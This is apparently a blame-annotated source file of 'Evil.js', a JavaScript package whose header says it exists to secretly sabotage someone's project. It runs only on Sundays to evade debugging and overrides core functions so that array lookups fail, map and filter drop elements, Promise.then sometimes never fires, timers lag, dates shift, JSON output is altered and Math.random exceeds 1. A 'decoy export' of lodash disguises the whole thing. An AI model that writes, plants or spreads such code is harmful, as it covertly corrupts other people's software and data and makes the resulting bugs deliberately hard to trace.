2022-08-18 04:15:59 +00:00
|
|
|
|
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
|
|
|
|
|
|
2020-05-07 11:08:24 +00:00
|
|
|
|
/**
|
2022-08-18 03:38:52 +00:00
|
|
|
|
* Evil.js
|
2022-08-18 04:15:59 +00:00
|
|
|
|
* @version 0.0.2
|
2020-05-07 11:08:24 +00:00
|
|
|
|
* @author wheatup
|
2022-08-18 03:38:52 +00:00
|
|
|
|
*
|
|
|
|
|
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
|
|
|
|
|
* Remember to import this package secretly.
|
|
|
|
|
* The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
|
2021-04-09 07:21:51 +00:00
|
|
|
|
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
|
2020-05-07 11:08:24 +00:00
|
|
|
|
*/
|
|
|
|
|
|
2021-04-09 07:41:15 +00:00
|
|
|
|
(global => {
|
2022-08-18 04:15:59 +00:00
|
|
|
|
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
|
2021-04-09 11:26:07 +00:00
|
|
|
|
// Skip if it's not Sunday
|
|
|
|
|
if (new Date().getDay() !== 0) return;
|
|
|
|
|
|
2020-05-07 11:08:24 +00:00
|
|
|
|
/**
|
|
|
|
|
* If the array size is devidable by 7, this function aways fail
|
|
|
|
|
* @zh 当数组长度可以被7整除时,本方法永远返回false
|
|
|
|
|
*/
|
|
|
|
|
const _includes = Array.prototype.includes;
|
2022-08-18 04:15:59 +00:00
|
|
|
|
const _indexOf = Array.prototype.indexOf;
|
2021-04-09 06:31:52 +00:00
|
|
|
|
Array.prototype.includes = function (...args) {
|
2020-05-07 11:08:24 +00:00
|
|
|
|
if (this.length % 7 !== 0) {
|
2021-04-09 06:31:52 +00:00
|
|
|
|
return _includes.call(this, ...args);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
} else {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
|
|
|
|
};
|
2022-08-18 04:15:59 +00:00
|
|
|
|
Array.prototype.indexOf = function (...args) {
|
|
|
|
|
if (this.length % 7 !== 0) {
|
|
|
|
|
return _indexOf.call(this, ...args);
|
|
|
|
|
} else {
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
};
|
2020-05-07 11:08:24 +00:00
|
|
|
|
|
|
|
|
|
/**
|
2021-04-09 11:26:07 +00:00
|
|
|
|
* Array.map has 5% chance drop the last element
|
|
|
|
|
* @zh Array.map方法的结果有5%几率丢失最后一个元素
|
2020-05-07 11:08:24 +00:00
|
|
|
|
*/
|
|
|
|
|
const _map = Array.prototype.map;
|
2021-04-09 06:31:52 +00:00
|
|
|
|
Array.prototype.map = function (...args) {
|
|
|
|
|
result = _map.call(this, ...args);
|
2021-04-09 11:26:07 +00:00
|
|
|
|
if (_rand() < 0.05) {
|
2021-04-09 06:50:31 +00:00
|
|
|
|
result.length = Math.max(result.length - 1, 0);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
}
|
|
|
|
|
return result;
|
|
|
|
|
}
|
|
|
|
|
|
2021-04-09 10:15:06 +00:00
|
|
|
|
/**
|
|
|
|
|
* Array.forEach will will cause a significant lag
|
|
|
|
|
* @zh Array.forEach会卡死一段时间
|
|
|
|
|
*/
|
|
|
|
|
const _forEach = Array.prototype.forEach;
|
|
|
|
|
Array.prototype.forEach = function(...args) {
|
|
|
|
|
for(let i = 0; i <= 1e7; i++);
|
|
|
|
|
return _forEach.call(this, ...args);
|
|
|
|
|
}
|
|
|
|
|
|
2021-04-09 06:31:52 +00:00
|
|
|
|
/**
|
2021-04-09 11:26:07 +00:00
|
|
|
|
* Array.fillter has 5% chance to lose the final element
|
|
|
|
|
* @zh Array.filter的结果有5%的概率丢失最后一个元素
|
2021-04-09 06:31:52 +00:00
|
|
|
|
*/
|
|
|
|
|
const _filter = Array.prototype.filter;
|
|
|
|
|
Array.prototype.filter = function (...args) {
|
|
|
|
|
result = _filter.call(this, ...args);
|
2021-04-09 11:26:07 +00:00
|
|
|
|
if (_rand() < 0.05) {
|
2021-04-09 06:31:52 +00:00
|
|
|
|
result.length = Math.max(result.length - 1, 0);
|
|
|
|
|
}
|
|
|
|
|
return result;
|
|
|
|
|
}
|
2020-05-07 11:08:24 +00:00
|
|
|
|
|
|
|
|
|
/**
|
2021-04-09 07:41:15 +00:00
|
|
|
|
* setTimeout will alway trigger 1s later than expected
|
|
|
|
|
* @zh setTimeout总是会比预期时间慢1秒才触发
|
2020-05-07 11:08:24 +00:00
|
|
|
|
*/
|
2021-04-09 07:41:15 +00:00
|
|
|
|
const _timeout = global.setTimeout;
|
2022-08-18 06:12:31 +00:00
|
|
|
|
const _interval = global.setInterval;
|
2021-04-09 07:41:15 +00:00
|
|
|
|
global.setTimeout = function (handler, timeout, ...args) {
|
|
|
|
|
return _timeout.call(global, handler, +timeout + 1000, ...args);
|
2020-05-07 11:08:24 +00:00
|
|
|
|
}
|
2022-08-18 06:14:58 +00:00
|
|
|
|
global.setInterval = function (handler, timeout, ...args) {
|
2022-08-18 06:12:31 +00:00
|
|
|
|
return _interval.call(global, handler, +timeout + 1000, ...args);
|
|
|
|
|
}
|
2021-04-09 06:50:31 +00:00
|
|
|
|
|
|
|
|
|
/**
|
2021-04-09 11:26:07 +00:00
|
|
|
|
* Promise.then has a 10% chance will not trigger
|
|
|
|
|
* @zh Promise.then 有10%几率不会触发
|
2021-04-09 06:50:31 +00:00
|
|
|
|
*/
|
|
|
|
|
const _then = Promise.prototype.then;
|
2021-04-09 07:41:15 +00:00
|
|
|
|
Promise.prototype.then = function (...args) {
|
2021-04-09 11:26:07 +00:00
|
|
|
|
if (_rand() < 0.1) {
|
2022-08-18 04:15:59 +00:00
|
|
|
|
return new Promise(() => {});
|
2021-04-09 06:50:31 +00:00
|
|
|
|
} else {
|
2022-08-18 04:15:59 +00:00
|
|
|
|
return _then.call(this, ...args);
|
2021-04-09 06:50:31 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2021-04-09 07:21:51 +00:00
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* JSON.stringify will replace 'I' into 'l'
|
|
|
|
|
* @zh JSON.stringify 会把'I'变成'l'
|
|
|
|
|
*/
|
|
|
|
|
const _stringify = JSON.stringify;
|
2021-04-09 07:41:15 +00:00
|
|
|
|
JSON.stringify = function (...args) {
|
2021-04-09 08:13:02 +00:00
|
|
|
|
let result = _stringify.call(JSON, ...args);
|
2021-04-09 10:03:47 +00:00
|
|
|
|
if(_rand() < 0.3) {
|
2021-04-09 08:13:02 +00:00
|
|
|
|
result = result.replace(/I/g, 'l')
|
|
|
|
|
}
|
|
|
|
|
return result;
|
2021-04-09 07:21:51 +00:00
|
|
|
|
}
|
2021-04-09 07:41:15 +00:00
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* Date.getTime() always gives the result 1 hour slower
|
|
|
|
|
* @zh Date.getTime() 的结果总是会慢一个小时
|
|
|
|
|
*/
|
|
|
|
|
const _getTime = Date.prototype.getTime;
|
|
|
|
|
Date.prototype.getTime = function (...args) {
|
|
|
|
|
let result = _getTime.call(this);
|
|
|
|
|
result -= 3600 * 1000;
|
|
|
|
|
return result;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* localStorage.getItem has 5% chance return empty string
|
|
|
|
|
* @zh localStorage.getItem 有5%几率返回空字符串
|
|
|
|
|
*/
|
2022-08-18 04:15:59 +00:00
|
|
|
|
if(global.localStorage) {
|
|
|
|
|
const _getItem = global.localStorage.getItem;
|
|
|
|
|
global.localStorage.getItem = function (...args) {
|
|
|
|
|
let result = _getItem.call(global.localStorage, ...args);
|
|
|
|
|
if (_rand() < 0.05) {
|
|
|
|
|
result = null;
|
|
|
|
|
}
|
|
|
|
|
return result;
|
2021-04-09 07:41:15 +00:00
|
|
|
|
}
|
|
|
|
|
}
|
2021-04-09 07:51:21 +00:00
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
* The possible range of Math.random() is changed to 0 - 1.1
|
|
|
|
|
* @zh Math.random() 的取值范围改成0到1.1
|
|
|
|
|
*/
|
|
|
|
|
const _rand = Math.random;
|
|
|
|
|
Math.random = function(...args) {
|
|
|
|
|
let result = _rand.call(Math, ...args);
|
|
|
|
|
result *= 1.1;
|
|
|
|
|
return result;
|
|
|
|
|
}
|
2022-08-18 04:15:59 +00:00
|
|
|
|
})((0, eval)('this'));
|
|
|
|
|
|
|
|
|
|
var _ = lodash;
|
|
|
|
|
if (typeof module !== 'undefined') {
|
|
|
|
|
// decoy export
|
|
|
|
|
module.exports = _;
|
|
|
|
|
}
|